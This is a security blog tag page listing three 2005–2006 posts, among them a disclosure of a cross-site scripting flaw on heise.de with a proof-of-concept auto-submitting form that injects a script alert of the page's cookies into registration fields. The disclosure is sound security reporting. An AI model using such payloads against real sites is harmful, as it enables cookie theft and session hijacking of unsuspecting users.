morph3us.org

Entries tagged as xss

Quicksearch

Categories

Syndication

Blogroll

echox
Rodnox

Tagged entries

Entries tagged as xss

Related tags

How-to fake heise news entries

  (Tuesday, September 5. 2006)
As I already mentioned in a previous blog posting titled XSS on heise.de there was a XSS vulnerability on heise.de. I informed heise's webmaster about this bug on December 23, 2005 and received the answer mail which stated that this issue was addressed on January 06, 2006. It's almost unbelievable that this bug is still present to this day.

Continue reading this entry..
Posted by in Security at 14:10
Defined tags for this entry: , ,
Comments (6) | Trackbacks (0)

XSS on heise.de

  (Tuesday, January 3. 2006)
heise.de - a German news site for, amongst others, security related topics - is vulnerable for XSS (Cross Site Scripting). I contacted the webmaster of heise.de about this on December 23 but I did not receive an answer and the XSS vulnerability is still not addressed.

PoC:
<form method="post" action="http://www.heise.de/registration/"
  name="heise">
  <input type="text" name="uid" size="20" value=''>
  <input type="text" name="vorname" size="20"
 value='"><script>alert(document.cookie)</script>'>
  <input type="text" name="name" size="20"
 value='"><script>alert(document.cookie)</script>'>
</form>
<body onload="heise.submit();">

heise-xss-poc.txt

UPDATE: 2006-01-09: 20:26
Hallo Herr Waldegger,

vielen Dank für Ihren Hinweis. Aufgrund der Feiertage hat die Behebung leider etwas länger gedauert.

Mit freundlichen Grüßen
heise online
Webmaster
Posted by in Security at 06:33
Defined tags for this entry: , ,
Comment (1) | Trackbacks (0)

Links about Web Application Security

  (Friday, November 11. 2005)
A while ago I uploaded a XHTML document containing several viable resources about Web Application Security from my bookmarks. I think most links will be usefull for people who are interested in web application security related topics.

Have a look..

http://morph3us.org/security/links/web-app-security.html
Posted by in News at 05:52
Defined tags for this entry: , , , , ,
Comments (0) | Trackbacks (0)
(Page 1 of 1, totaling 3 entries)